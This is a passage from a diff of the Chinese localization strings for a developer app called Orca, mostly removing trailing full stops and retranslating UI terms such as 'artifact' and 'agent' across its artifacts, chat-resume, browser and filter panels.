+            "84a810dd0e": "用户名和密码",
+            "8d1223fa5c": "用户名",
             "be9eba0a1b": "username",
-            "70035652d7": "Password",
+            "70035652d7": "密码",
             "c50abbf340": "Jira 账户密码",
-            "d8737db691": "使用你的 Jira Server 或 Data Center 账户用户名和密码。",
-            "createTokenInSettings": "在 <link>Atlassian 账户设置</link>中创建令牌。"
+            "d8737db691": "使用你的 Jira Server 或 Data Center 账户用户名和密码",
+            "createTokenInSettings": "在 <link>Atlassian 账户设置</link>中创建令牌"
           }
         }
       },
       "rightSidebar": {
         "FolderWorkspaceWorktreesPanel": {
-          "unavailable": "仅显示文件夹工作区的工作区。",
+          "unavailable": "仅显示文件夹工作区的工作区",
           "emptyTitle": "还没有附加的工作树",
-          "emptyCopy": "从此工作区创建的工作树将显示在这里。",
+          "emptyCopy": "从此工作区创建的工作树将显示在这里",
           "attachedCount_other": "{{count}} 个附加的工作树"
         },
         "FolderWorkspacePrChecksPanel": {
-          "unavailable": "PR 检查仅在文件夹工作区中显示。",
+          "unavailable": "PR 检查仅在文件夹工作区中显示",
           "refresh": "刷新 PR 检查",
           "emptyTitle": "还没有附加的工作树",
-          "emptyCopy": "将工作树附加到此文件夹工作区后，PR 检查会显示在这里。",
+          "emptyCopy": "将工作树附加到此文件夹工作区后，PR 检查会显示在这里",
           "openReviewExternally": "在外部打开 {{value0}}",
           "showDetails": "显示 {{value0}} 的 PR 检查详情",
           "hideDetails": "隐藏 {{value0}} 的 PR 检查详情",
@@ -17567,9 +17923,9 @@
           }
         },
         "pluginPanelBridgeHost": {
-          "actionsUnavailable": "此客户端不支持插件操作。",
-          "messageTooLarge": "消息超过大小限制。",
-          "tooManyRequests": "请求过多。"
+          "actionsUnavailable": "此客户端不支持插件操作",
+          "messageTooLarge": "消息超过大小限制",
+          "tooManyRequests": "请求过多"
         },
         "FolderWorkspaceSourceControl": {
           "openWorktree": "打开此工作树",
@@ -17583,13 +17939,13 @@
               "badge": "终端链接",
               "preview": "预览",
               "title": "在 Orca 浏览器中打开终端链接？",
-              "description": "用 Orca 浏览器打开终端链接，或继续使用系统浏览器。",
+              "description": "用 Orca 浏览器打开终端链接，或继续使用系统浏览器",
               "orca": {
                 "button": "在 Orca 中打开",
-                "note": "Orca 可以使用已导入的 Cookie 打开已登录的网站。"
+                "note": "Orca 可以使用已导入的 Cookie 打开已登录的网站"
               },
               "settings": {
-                "note": "之后可在设置 → 浏览器中更改。"
+                "note": "之后可在设置 → 浏览器中更改"
               },
               "system": {
                 "button": "使用系统浏览器"
@@ -17600,12 +17956,12 @@
               "shortcut": {
                 "note": {
                   "prefix": "当链接在 Orca 中打开时，",
-                  "suffix": "点击可临时改用系统浏览器。"
+                  "suffix": "点击可临时改用系统浏览器"
                 }
               },
               "keep": {
                 "title": "继续在 Orca 浏览器中打开终端链接？",
-                "description": "或默认使用系统浏览器。",
+                "description": "或默认使用系统浏览器",
                 "orca": {
                   "button": "继续使用 Orca"
                 }
@@ -17621,9 +17977,10 @@
               "noProjects": "没有项目",
               "allProjects": "所有项目",
               "searchProjects": "搜索项目...",
-              "noMatches": "没有匹配搜索的项目。",
+              "noMatches": "没有匹配搜索的项目",
               "chooseSource": "选择任务来源",
-              "hostCount_other": "{{count}} 台主机"
+              "hostCount_other": "{{count}} 台主机",
+              "hostCount": "{{value0}} 个主机"
             }
           }
         },
@@ -17635,7 +17992,7 @@
                   "jira": {
                     "create": {
                       "dialog": {
-                        "jiraRequiredFieldsLoadFailed": "无法加载所需的 Jira 字段。"
+                        "jiraRequiredFieldsLoadFailed": "加载 Jira 必填字段失败"
                       }
                     }
                   }
@@ -17647,20 +18004,20 @@
       },
       "taskPageEmptyState": {
         "noProjectSourcesTitle": "未选择项目来源",
-        "noProjectSourcesDescription": "请至少选择一个项目来源，让 Orca 知道要从哪个主机/账户获取任务。",
-        "noMatchingGitHubWorkTitle": "没有匹配的 GitHub 工作",
-        "changeQueryDescription": "更改查询或清除它。",
+        "noProjectSourcesDescription": "请至少选择一个项目来源，让 Orca 知道要从哪个主机/账户获取任务",
+        "noMatchingGitHubWorkTitle": "没有匹配的 GitHub 工作项",
+        "changeQueryDescription": "更改查询或清除它",
         "noGitLabIssuesTitle": "没有 GitLab 议题",
-        "noGitLabIssuesDescription": "没有 GitLab 议题匹配此筛选器。",
+        "noGitLabIssuesDescription": "没有 GitLab 议题匹配此筛选器",
         "noGitLabMrsTitle": "没有 GitLab 合并请求",
-        "noGitLabMrsDescription": "没有 GitLab MR 匹配此筛选器。",
+        "noGitLabMrsDescription": "没有 GitLab MR 匹配此筛选器",
         "noGitLabWorkTitle": "没有 GitLab 工作",
-        "noGitLabWorkDescription": "没有 GitLab 工作匹配此筛选器。"
+        "noGitLabWorkDescription": "没有 GitLab 工作匹配此筛选器"
       },
       "taskSourceContextSummary": {
         "sourceUnavailable": "{{value0}} 来源不可用：{{value1}}",
         "someSourceHostsUnavailable": "部分 {{value0}} 来源主机不可用：{{value1}}",
-        "reconnectOrUpdateTitle": "重新连接或更新 {{value0}} 以加载此来源。",
+        "reconnectOrUpdateTitle": "重新连接或更新 {{value0}} 以加载此来源",
         "providerSourceTitle": "{{provider}} 来源",
         "hostTitle": "主机：{{hosts}}",
         "accountTitle": "账户：{{accounts}}",
@@ -17692,14 +18049,14 @@
       "star": {
         "nag": {
           "StarNagToastHost": {
-            "starredThanks": "已加星，谢谢！",
+            "starredThanks": "已Star，谢谢！",
             "githubOpened": "已打开 GitHub",
             "opening": "正在打开…",
-            "starring": "正在加星…",
+            "starring": "正在Star…",
             "openGithub": "打开 GitHub",
-            "starOnGithub": "在 GitHub 上加星",
+            "starOnGithub": "在 GitHub 上点击 Star",
             "onboardingCompleted": "入门流程已完成！",
-            "body": "如果你目前喜欢 Orca，在 GitHub 上加星可以帮助其他开发者发现它。",
+            "body": "如果你目前喜欢 Orca，在 GitHub 上点击 Star 可以帮助其他开发者发现它",
             "dismiss": "关闭",
             "later": "稍后"
           }
@@ -17715,7 +18072,7 @@
           "signout": {
             "confirm": {
               "title": "退出 Orca？",
-              "description": "你将在此设备上退出 Orca。本地项目和工作树不会受到影响。",
+              "description": "重新登录前，产物和 Orca Relay 将不可用，本地项目和工作树不会受到影响",
               "cancel": "取消",
               "action": "退出登录"
             }
@@ -17724,19 +18081,18 @@
       },
       "linear-issue-attribute-filter-dropdowns": {
         "removeFilter": "移除 {{value0}} 筛选器",
-        "teamRequired": "选择一个团队以加载此工作区的状态、负责人和标签。",
+        "teamRequired": "选择一个团队以加载此工作区的状态、负责人和标签",
         "filters": "筛选器",
         "allWorkspacesTitle": "选择一个工作区",
-        "allWorkspacesBody": "状态、负责人和标签筛选器使用单个 Linear 工作区的 ID。请选择一个工作区以按这些属性进行筛选。",
+        "allWorkspacesBody": "状态、负责人和标签筛选器使用单个 Linear 工作区的 ID，请选择一个工作区以按这些属性进行筛选",
         "clearAll": "清除所有筛选器",
-        "partialCoverage": "部分的",
-        "partialCoverageTitle": "有些团队可能会被排除在这个过滤器之外。打开过滤器了解详细信息。"
+        "partialCoverage": "部分覆盖",
+        "partialCoverageTitle": "此筛选条件可能会遗漏部分团队，请打开“筛选条件”查看详情"
       },
       "linear-issue-attribute-filter-sections": {
         "status": "状态",
         "priority": "优先级",
         "assignee": "负责人",
-        "unassigned": "未分配",
         "labels": "标签",
         "countSelected": "已选择 {{count}} 个",
         "selected": "已选择",
@@ -17745,24 +18101,24 @@
         "searchLabels": "筛选标签…",
         "searchAssignee": "筛选负责人…",
         "back": "返回",
-        "partialCoverageMarker": "· 部分的"
+        "partialCoverageMarker": "· 部分覆盖"
       },
       "browser-pane": {
         "markup": {
           "cancel": "取消",
           "clear": "全部清除",
-          "copiedToast": "已复制标注 — 粘贴到你的智能体（{{value0}}）",
+          "copiedToast": "已复制标注 — 粘贴到你的代理({{value0}})",
           "copy": "复制标注",
           "drawButton": "在截图上绘制",
-          "drawHint": "在页面上绘制，然后复制标记并粘贴到你的智能体。",
-          "drawHintBadge": "新功能",
+          "drawHint": "在页面上绘制，然后复制标记并粘贴到你的代理",
+          "drawHintBadge": "新建",
           "drawHintDismiss": "知道了",
           "drawHintTry": "试一试",
-          "errorAttach": "无法附加标注后的截图。",
-          "errorCapture": "无法捕获页面进行绘制。",
-          "errorUnavailable": "此页面无法使用截图标注。",
+          "errorAttach": "无法附加标注后的截图",
+          "errorCapture": "无法捕获页面进行绘制",
+          "errorUnavailable": "此页面无法使用截图标注",
           "fontSize": "字号",
-          "hint": "在页面上绘制，然后复制标注以粘贴到你的智能体。",
+          "hint": "在页面上绘制，然后复制标注以粘贴到你的代理",
           "redo": "重做",
           "style": "颜色和粗细",
           "textInput": "标注文字",
@@ -17779,10 +18135,10 @@
           "widthOption": "{{value0}} px"
         },
         "grab": {
-          "errorNotReady": "此页面尚未准备好进行元素选择。",
-          "errorNotAuthorized": "浏览器访问被拒绝。",
-          "errorAlreadyActive": "元素选择已处于活动状态。",
-          "errorInjectionFailed": "无法在此页面上启动元素选择。"
+          "errorNotReady": "此页面尚未准备好进行元素选择",
+          "errorNotAuthorized": "浏览器访问被拒绝",
+          "errorAlreadyActive": "元素选择已处于活动状态",
+          "errorInjectionFailed": "无法在此页面上启动元素选择"
         }
       },
       "pluginCatalog": {
@@ -17807,7 +18163,7 @@
       },
       "terminalPane": {
         "useManualTerminalWorktreeParking": {
-          "cannotPark": "这些终端无法安全停放。"
+          "cannotPark": "这些终端无法安全停放"
         }
       },
       "pr-check-counts": {
@@ -17815,154 +18171,156 @@
         "failingChip": "{{value0}} 失败",
         "pendingChip": "{{value0}} 待处理",
         "needsActionChip": "{{value0}} 个需要操作",
-        "unresolvedChip": "{{value0}} 个未解决"
+        "unresolvedChip": "{{value0}} 个未解决",
+        "noChecks": "未找到检查项",
+        "passingSummary": "{{value0}}/{{value1}} 个检查通过"
       },
       "artifacts": {
         "ArtifactsPage": {
-          "deleteTitle": "删除工件？",
-          "deleteDescription": "“{{name}}” 将无法再通过其公共链接访问。",
+          "deleteTitle": "删除产物？",
+          "deleteDescription": "“{{name}}” 将无法再通过其公开链接访问",
           "delete": "删除",
-          "signInAgain": "再次登录 Orca 以加载工件。",
-          "loadFailed": "无法加载工件。",
-          "deleteFailed": "无法删除工件。",
-          "title": "工件",
+          "signInAgain": "重新登录 Orca 以加载产物",
+          "loadFailed": "无法加载产物",
+          "deleteFailed": "无法删除该产物",
+          "title": "产物",
           "refresh": "刷新",
-          "shareSignInHeading": "登录以共享工件",
-          "shareSignInCopy": "使用您的 Orca 帐户上传工件并管理其公开链接。",
+          "shareSignInHeading": "登录以共享产物",
+          "shareSignInCopy": "使用您的 Orca 帐户上传产物并管理其公开链接",
           "signIn": "登录 Orca",
-          "empty": "没有共享工件",
-          "emptyCopy": "打开 HTML 或 Markdown 文件并选择共享为工件，或要求您的智能体共享它。",
-          "deleteArtifact": "删除工件",
-          "moreAvailable": "更多工件可用",
-          "moreAvailableCopy": "加载下一页以继续。",
-          "loadMoreFailed": "无法加载更多工件。",
+          "empty": "没有已分享的产物",
+          "emptyCopy": "打开 HTML 或 Markdown 文件并选择分享为产物，或让代理分享",
+          "deleteArtifact": "删除产物",
+          "moreAvailable": "还有更多产物",
+          "moreAvailableCopy": "加载下一页以继续",
+          "loadMoreFailed": "无法加载更多产物",
           "publishingOff": "发布已关闭",
-          "publishingOffCopy": "此设备上的任何内容都无法创建公共工件链接。允许在“设置”→“工件”中进行发布，然后从打开的 HTML 或 Markdown 文件进行共享或询问您的智能体。",
-          "openArtifactsSettings": "打开设置 → 工件",
+          "publishingOffCopy": "此设备尚不能创建公开产物链接，请在 设置 → 产物中允许发布，然后从打开的 HTML 或 Markdown 文件分享，或让代理分享",
+          "openArtifactsSettings": "打开设置 → 产物",
           "retry": "重试",
-          "reconnectHeading": "再次登录 Orca",
-          "reconnectCopy": "再次登录以查看和管理通过您的帐户共享的工件。",
+          "reconnectHeading": "重新登录 Orca",
+          "reconnectCopy": "重新登录以查看和管理通过账户分享的产物",
           "signInAgainAction": "重新登录",
-          "unconfiguredCopy": "此计算机上尚未配置 Orca 帐户登录。",
-          "openAccountSettings": "开设账户设置"
+          "unconfiguredCopy": "此机器尚未配置 Orca 账户登录",
+          "openAccountSettings": "打开账户设置"
         },
         "ArtifactPublishButton": {
-          "a4a49da6af": "分享为工件",
-          "confirmTitle": "分享为工件",
-          "confirmDescription": "这会将当前文件发布为链接，任何拥有该 URL 的人都可以查看。",
+          "a4a49da6af": "分享为产物",
+          "confirmTitle": "分享为产物",
+          "confirmDescription": "这会将当前文件发布到任何持有 URL 的人都可以查看的链接",
           "accountTitle": "Orca 账户",
-          "accountDescription": "登录以创建和管理此链接。",
+          "accountDescription": "登录以创建和管理此链接",
           "signInAgain": "重新登录",
           "signIn": "登录",
-          "publishingOffTitle": "工件共享已关闭",
-          "publishingOffDescription": "了解公共链接并在“设置”中启用共享。",
-          "openSettings": "打开工件设置",
+          "publishingOffTitle": "产物分享已关闭",
+          "publishingOffDescription": "了解公开链接，并在设置中启用分享",
+          "openSettings": "打开产物设置",
           "sharing": "正在分享…",
           "sharePublicLink": "生成链接",
-          "publishedDescription": "拥有此链接的任何人都可以查看共享文件。",
-          "checkingLink": "正在检查现有链接…",
-          "checkFailed": "无法检查现有链接。",
+          "publishedDescription": "任何持有此链接的人都可以查看已分享的文件",
+          "checkingLink": "正在检查是否已有链接…",
+          "checkFailed": "无法检查是否已有链接",
           "tryAgain": "重试"
         },
         "artifact-publish-flow": {
-          "9a078a0c65": "工件共享不可用",
-          "bba20daa6d": "登录 Orca 并重试。",
-          "54b1805328": "无法共享工件",
-          "430019efd0": "工件已共享",
-          "2fc727c831": "工件已更新",
-          "fbb5018602": "该文件为空。",
-          "6112db5a1c": "此工件太大，无法分享。",
-          "e2ed5acd8c": "Orca 无法读取该文件。请从工作区打开它并重试。",
-          "visualUnreadable": "无法读取此可视化内容以进行分享。",
-          "6d475e9b25": "只有本地 HTML 和 Markdown 文件可以作为工件共享。",
-          "29a406be09": "工件必须包含文本。"
+          "9a078a0c65": "产物分享不可用",
+          "bba20daa6d": "请登录 Orca 后重试",
+          "54b1805328": "无法分享产物",
+          "430019efd0": "产物已分享",
+          "2fc727c831": "产物已更新",
+          "fbb5018602": "此文件为空",
+          "6112db5a1c": "此产物过大，无法分享",
+          "e2ed5acd8c": "Orca 无法读取此文件，请从工作区打开后再试",
+          "visualUnreadable": "无法读取此可视化内容以进行分享",
+          "6d475e9b25": "只有本地 HTML 和 Markdown 文件可作为产物分享",
+          "29a406be09": "产物必须包含文本"
         },
         "ArtifactPublishedLinkPanel": {
           "copyLink": "复制链接",
           "openLink": "打开链接",
           "updating": "正在更新…",
-          "update": "更新共享内容"
+          "update": "更新已分享内容"
         },
-        "copySuccess": "神器链接已复制",
-        "copyFailed": "无法复制工件链接",
+        "copySuccess": "已复制产物链接",
+        "copyFailed": "无法复制产物链接",
         "copyLink": "复制链接",
         "openInBrowser": "在浏览器中打开",
-        "preview": "神器预览",
+        "preview": "产物预览",
         "previewUnavailable": "预览不可用",
-        "previewUnavailableDescription": "在浏览器中打开此工件进行查看。",
-        "actions": "神器动作",
+        "previewUnavailableDescription": "在浏览器中打开此产物以查看",
+        "actions": "产物操作",
         "ArtifactActions": {
-          "more": "更多神器动作"
+          "more": "更多产物操作"
         },
         "ArtifactCollection": {
           "loadMore": "加载更多",
-          "noMatches": "没有匹配项"
+          "noMatches": "没有匹配的产物"
         },
         "ArtifactDetailHeader": {
-          "publicLink": "知道此链接的任何人都可以查看",
+          "publicLink": "任何持有此链接的人都可以查看",
           "close": "关闭"
         },
-        "updatedAt": "已更新 {{when}}",
+        "updatedAt": "更新于 {{when}}",
         "updatedRecently": "最近",
-        "expiryUnknown": "到期日期未知",
+        "expiryUnknown": "过期时间未知",
         "expired": "链接已过期",
-        "expires": "链接过期{{when}}",
+        "expires": "链接将于 {{when}} 过期",
         "ArtifactDetailDrawer": {
-          "description": "预览并管理此共享工件。"
+          "description": "预览和管理此已分享的产物"
         },
         "ArtifactListSearchField": {
-          "label": "搜索工件",
-          "placeholder": "搜索...",
+          "label": "搜索产物",
+          "placeholder": "搜索…",
           "clear": "清除搜索"
         },
         "ArtifactListTableHeader": {
-          "name": "姓名",
+          "name": "名称",
           "type": "类型",
-          "size": "尺寸",
-          "updated": "已更新",
-          "expires": "过期",
+          "size": "大小",
+          "updated": "更新时间",
+          "expires": "过期时间",
           "actions": "操作"
         },
         "ArtifactsPageSkeleton": {
-          "loading": "加载工件"
+          "loading": "正在加载产物"
         },
-        "expiredCompact": "已到期",
+        "expiredCompact": "已过期",
         "typeMarkdown": "Markdown",
         "typeHtml": "超文本标记语言"
       },
       "ComposerParentWorktreePicker": {
         "label": "父工作树",
         "noParent": "无父工作树",
-        "description": "在侧边栏中将此工作区嵌套到另一个工作树下。不会更改基础分支。",
+        "description": "在侧边栏中将此工作区嵌套到另一个工作树下，不会更改基础分支",
         "searchPlaceholder": "搜索工作树...",
-        "noMatches": "无匹配项。"
+        "noMatches": "无匹配项"
       },
       "BrowserCookieImportDisclosure": {
         "title": "Google 登录信息未导入",
-        "description": "直接在 Orca 中登录 Google。"
+        "description": "请直接在 Orca 中登录 Google"
       },
       "NativeChatResumeOnRestartModal": {
         "serverTitle": "{{machine}} 已重启",
-        "serverBody": "这些聊天在 {{machine}} 上的 Orca 重启时正在进行中。恢复会把每个聊天还原到中断处，并让智能体继续。你自己的提示词不会重新发送。",
+        "serverBody": "这些聊天在 {{machine}} 上的 Orca 重启时正在进行中。恢复会把每个聊天还原到中断处，并让智能体继续。你自己的提示词不会重新发送",
         "serverDismiss": "忽略",
         "serverResumeAll": "恢复 {{machine}} 上的全部 {{count}} 个",
-        "title": "恢复中断的聊天？",
-        "body": "当 Orca 关闭时，这些聊天正在工作。恢复会将每个聊天还原到停止的位置及其完整上下文，并要求智能体在继续之前检查它正在做的事情。您自己的提示不会重新发送。",
-        "updateBody": "当 Orca 安装更新时，这些聊天正在工作。恢复会将每个聊天还原到停止的位置及其完整上下文，并要求智能体在继续之前检查它正在做的事情。您自己的提示不会重新发送。",
-        "resuming": "正在恢复…",
-        "untitled": "无标题聊天",
-        "listLabel": "将恢复的聊天",
-        "dontAskAgain": "不再询问（自动恢复）",
-        "dontAskAgainHint": "你可以在设置 → 聊天 → 行为中关闭此选项。",
-        "selectAgent": "在 {{value2}} 中恢复 {{value0}} 聊天“{{value1}}”",
-        "dismissAll": "全部关闭",
+        "title": "重新连接被中断的对话？",
+        "body": "Orca 关闭时，这些对话仍在回复中，重新连接会从中断处恢复每个对话，保留完整上下文且不会重新发送你的提示词——被中断的回复不会自行继续",
+        "updateBody": "Orca 安装更新时，这些对话仍在回复中，重新连接会从中断处恢复每个对话，保留完整上下文且不会重新发送你的提示词——被中断的回复不会自行继续",
+        "resuming": "正在重新连接…",
+        "untitled": "未命名对话",
+        "listLabel": "将重新连接的对话",
+        "dontAskAgain": "不再询问——下次自动重新连接",
+        "dontAskAgainHint": "你可以在设置 → 聊天 → 行为中关闭此选项",
+        "selectAgent": "重新连接 {{value2}} 中的 {{value0}} 对话“{{value1}}”",
+        "dismissAll": "全部忽略",
         "viewChats": "查看聊天",
         "review": "检查",
         "activityUnnamed": "未命名",
         "activityApproval": "等待您的批准：{{value0}}",
         "activityQuestion": "等待您的回答：{{value0}}",
         "activityMidReply": "回复进行中",
-        "activitySubagentOne": "子智能体运行中：{{value0}}",
+        "activitySubagentOne": "子代理运行中：{{value0}}",
         "activityMonitorOne": "正在监控：{{value0}}",
         "selectWorkspace": "选择 {{value0}} 中的全部聊天",
         "workspaceSelectedCount": "{{value0}}/{{value1}}",
@@ -17987,64 +18345,64 @@
         "activityMonitorCount_other": "正在监控 {{count}} 个后台任务"
       },
       "linear-issue-attribute-filter-coverage-notice": {
-        "statusPartialTeamCoverage": "过滤 {{value1}} 团队状态中的 {{value0}} — 不包括其余团队的问题。",
-        "labelsPartialTeamCoverage": "过滤 {{value1}} 团队标签中的 {{value0}} — 不包括其余团队的问题。",
-        "statusAtIdLimit": "过滤最多可以携带：{{value0}} 团队状态。过去挑选的行被遗漏。",
-        "labelsAtIdLimit": "过滤最多可以携带：{{value0}} 团队标签。过去挑选的行被遗漏。"
+        "statusPartialTeamCoverage": "正在筛选 {{value1}} 个团队状态中的 {{value0}} 个——其余团队的议题不会包含在内",
+        "labelsPartialTeamCoverage": "正在筛选 {{value1}} 个团队标签中的 {{value0}} 个——其余团队的议题不会包含在内",
+        "statusAtIdLimit": "筛选已达到此处可承载的上限：{{value0}} 个团队状态，超出上限后选择的行将被排除",
+        "labelsAtIdLimit": "筛选已达到此处可承载的上限：{{value0}} 个团队标签，超出上限后选择的行将被排除"
       },
       "WorktreeBaseFallbackDialog": {
-        "title": "从本地基础创建的工作区",
-        "description": "远程跟踪引用“{{value0}}”不可用，因此 Orca 使用本地“{{value1}}”代替。此工作区可能不包含最新的远程更改。",
+        "title": "工作区已从本地基创建",
+        "description": "远程跟踪引用\"{{value0}}\"不可用，因此 Orca 改用了本地\"{{value1}}\"，此工作区可能不包含最新的远程更改",
         "dismiss": "知道了"
       },
       "LinuxPackageInstallRecoveryCard": {
-        "e3de29c86a": "显示套餐",
+        "e3de29c86a": "显示软件包",
         "55c86654b7": "复制安装命令",
-        "53e1559f99": "需要手动安装",
-        "a7ac6ec78b": "Orca 下载了系统包。从终端完成更新之前退出 Orca。",
-        "82c6dbea00": "复制命令，退出 Orca，然后在安装 Orca 的计算机上的系统终端中运行它。完成后重新打开 Orca。",
-        "53c4b8e148": "没有可用的身份验证智能体响应特权安装请求。",
-        "c732bcbf8f": "检查包裹...",
-        "aa57fa4f80": "命令已复制。退出 Orca，在系统终端中运行它以安装 {{value0}}，然后重新打开 Orca。",
-        "b7e7c5bc95": "Orca 在构建此命令时根据发布元数据检查下载的文件。系统包本身没有经过签名检查，之后 Orca 无法为该文件提供担保。"
+        "53e1559f99": "自动安装失败",
+        "a7ac6ec78b": "Orca 已下载更新，但无法自动安装系统包",
+        "82c6dbea00": "复制命令，在安装 Orca 的电脑上的系统终端中运行，完成后退出并重新打开 Orca 以运行新版本",
+        "53c4b8e148": "没有可用的身份验证代理响应特权安装请求",
+        "c732bcbf8f": "正在检查软件包...",
+        "aa57fa4f80": "命令已复制，在系统终端中运行以安装 {{value0}}，然后退出并重新打开 Orca",
+        "b7e7c5bc95": "Orca 在构建此命令时会对照发布元数据检查下载的文件，系统包本身不做签名校验，此后 Orca 无法为该文件背书"
       },
       "BrowserPane": {
-        "streamConnectionLost": "与远程服务器的连接丢失。",
-        "streamConnectionUnreachable": "无法到达远程服务器。",
-        "streamRestartFailed": "无法重新启动远程浏览器流。",
-        "streamCapabilityUnsupported": "所选运行时不支持远程浏览器流式传输。",
-        "streamBrowserUnavailable": "远程浏览器不可用。请检查其在服务器上的设置。"
+        "streamConnectionLost": "与远程服务器的连接已断开",
+        "streamConnectionUnreachable": "无法访问远程服务器",
+        "streamRestartFailed": "重启远程浏览器串流失败",
+        "streamCapabilityUnsupported": "所选运行时不支持远程浏览器串流",
+        "streamBrowserUnavailable": "远程浏览器不可用，请检查其在服务器上的设置"
       },
       "BrowserCookieImportMachineNotice": {
         "clientLabel": "此设备上的浏览器",
-        "remoteLabel": "{{value0}} 上的浏览​​器",
-        "clientNoteLocalStorage": "导入会读取该设备的浏览器。 Cookie 存储在本地。",
-        "remoteNoteRemoteStorage": "导入 {{value0}} 上的读取浏览器。 Cookie 存储在该计算机上，并且其屏幕上可能会出现权限提示。"
+        "remoteLabel": "{{value0}} 上的浏览器",
+        "clientNoteLocalStorage": "导入操作会读取此设备上的浏览器，Cookie 存储在本机",
+        "remoteNoteRemoteStorage": "导入操作会读取 {{value0}} 上的浏览器，Cookie 存储在该设备上，其屏幕上可能会出现权限提示"
       },
       "native": {
         "chat": {
           "NativeChatLaunchRetry": {
-            "failed": "无法开始聊天。",
-            "unknown": "无法确认聊天连接。",
+            "failed": "无法启动聊天",
+            "unknown": "无法确认聊天连接",
             "retry": "重试"
           }
         }
       },
       "browserPane": {
         "workspaceDoc": {
-          "externalLinkTitle": "打开 {{host}} 的链接？",
+          "externalLinkTitle": "打开指向 {{host}} 的链接？",
           "externalLinkConfirm": "打开链接",
           "externalLinkCancel": "取消"
         },
         "externalApp": {
           "confirmLink": "打开链接",
           "cancel": "取消",
-          "description": "{{origin}} 想要打开另一个应用程序。",
-          "title": "打开{{app}}？",
-          "confirm": "打开{{app}}",
-          "schemeTitle": "打开这个 {{scheme}} 链接？",
-          "launchFailed": "无法打开处理此 {{scheme}} 链接的应用。该应用可能尚未安装。",
-          "anonymousDescription": "浏览器中的页面想要打开另一个应用程序。"
+          "description": "{{origin}} 想要打开另一个应用程序",
+          "title": "打开 {{app}}？",
+          "confirm": "打开 {{app}}",
+          "schemeTitle": "打开此 {{scheme}} 链接？",
+          "launchFailed": "无法为此 {{scheme}} 链接打开应用，可能尚未安装",
+          "anonymousDescription": "浏览器中的某个页面想要打开另一个应用程序"
         },
         "httpAuth": {
           "title": "登录",
@@ -18052,9 +18410,9 @@
           "confirm": "登录",
           "cancel": "取消",
           "password": "密码",
-          "insecure": "您与此网站的连接不是私密的。",
-          "retry": "该用户名或密码无效。",
-          "description": "{{origin}} 要求输入用户名和密码。"
+          "insecure": "你与此网站的连接不是私密连接",
+          "retry": "用户名或密码不正确",
+          "description": "{{origin}} 要求输入用户名和密码"
         },
         "javaScriptDialog": {
           "title": "{{origin}} 显示",
@@ -18094,21 +18452,21 @@
         }
       },
       "HostedReviewUnlinkMenuItem": {
-        "label": "从工作区取消 {{value0}} 链接",
-        "description": "Orca 将隐藏此工作区的 {{value0}} {{value1}} 详细信息。 {{value0}} 和 {{value2}} 上的分支不会更改。"
+        "label": "取消 {{value0}} 与工作区的关联",
+        "description": "Orca 将在此工作区隐藏 {{value0}} {{value1}} 的详情，{{value2}} 上的 {{value0}} 和分支不会更改"
       },
       "UnexpectedSignoutCard": {
-        "9f2c1a4b7d": "您已退出",
+        "9f2c1a4b7d": "你已退出登录",
         "3e8f5c2a91": "关闭",
-        "7b4d9e1f2a": "再次以 {{value0}} 身份登录即可恢复神器共享、Orca Relay 和技能共享。",
-        "5a1c8d3e6f": "重新登录即可恢复神器共享、Orca Relay 和技能共享。",
-        "1f6b2c9d4e": "你得到什么",
-        "8d2e4f7a1b": "神器分享",
-        "2c9a5b6e8d": "发布 HTML 和 Markdown 文件并管理 Orca 的每个共享链接。",
+        "7b4d9e1f2a": "以 {{value0}} 重新登录以恢复产物分享、Orca Relay 和技能分享",
+        "5a1c8d3e6f": "重新登录以恢复产物分享、Orca Relay 和技能分享",
+        "1f6b2c9d4e": "重新登录后可用",
+        "8d2e4f7a1b": "产物分享",
+        "2c9a5b6e8d": "发布 HTML 和 Markdown 文件，并在 Orca 中管理所有共享链接",
         "6e3f1a9c5b": "Orca Relay",
-        "4b7d2e8f1a": "通过蜂窝网络或任何 Wi-Fi 将 Orca Mobile 连接到此桌面。",
+        "4b7d2e8f1a": "通过蜂窝网络或任意 Wi-Fi 将 Orca Mobile 连接到此桌面",
         "9a4c6b2d7e": "技能分享",
-        "3d8e5f1b9c": "分享未列出链接背后的技能并将其安装在您使用的任何计算机上。",
+        "3d8e5f1b9c": "通过非公开链接分享技能，并在你使用的任何计算机上安装",
         "c5b3e8a17d": "登录 Orca"
       },
       "NativeChatResumeOutcomeRow": {
@@ -18122,32 +18480,32 @@
         "toResume": "待恢复："
       },
       "NativeChatResumeFailureGuidance": {
-        "unconfirmed": "Orca 无法确认“continue”消息已送达。请打开聊天进行检查，确认后再发送其他消息。",
-        "superseded": "请打开聊天并回复。重启后紧接着有新的工作到达，因此 Orca 未发送其“continue”消息。",
-        "conflict": "此聊天已在另一个 Orca 窗口或终端中打开。请在那里关闭后重试。",
-        "ownershipUnknown": "此聊天尚未准备好恢复。请稍等片刻后重试。",
-        "notAttached": "聊天未能重新连接。请重试，或将其打开以开始新的轮次。",
-        "dispatchRejected": "智能体拒绝了“continue”消息。请打开聊天并自行发送一条。",
-        "unsupported": "此聊天无法由 Orca 恢复。请将其打开以查看停止位置。",
-        "fallback": "Orca 无法恢复此聊天。请将其打开以手动继续。"
+        "unconfirmed": "Orca 无法确认“continue”消息已送达，请打开聊天进行检查，确认后再发送其他消息",
+        "superseded": "请打开聊天并回复，重启后紧接着有新的工作到达，因此 Orca 未发送其“continue”消息",
+        "conflict": "此聊天已在另一个 Orca 窗口或终端中打开，请在那里关闭后重试",
+        "ownershipUnknown": "此聊天尚未准备好恢复，请稍等片刻后重试",
+        "notAttached": "聊天未能重新连接，请重试，或将其打开以开始新的轮次",
+        "dispatchRejected": "代理拒绝了“continue”消息，请打开聊天并自行发送一条",
+        "unsupported": "此聊天无法由 Orca 恢复，请将其打开以查看停止位置",
+        "fallback": "Orca 无法恢复此聊天，请将其打开以手动继续"
       },
       "web": {
         "preloadApi": {
           "cursorAccounts": {
-            "hostOnly": "Cursor 登录详情仅可在运行 Orca 的电脑上读取。"
+            "hostOnly": "Cursor 登录详情仅可在运行 Orca 的电脑上读取"
           },
           "accounts": {
-            "signInHostOnly": "添加或重新登录账户仅在运行 Orca 的计算机上的桌面应用中可用。",
-            "claudeWslDefaultUnavailable": "将 WSL 账户切换回系统默认仅在桌面应用中可用。"
+            "signInHostOnly": "添加或重新登录账户仅在运行 Orca 的计算机上的桌面应用中可用",
+            "claudeWslDefaultUnavailable": "将 WSL 账户切换回系统默认仅在桌面应用中可用"
           }
         }
       },
       "NativeChatResumeRunPanel": {
-        "description": "每个聊天都会带着完整上下文恢复，并被要求检查它停在了哪里。你可以关闭此窗口，状态栏会继续显示进度。",
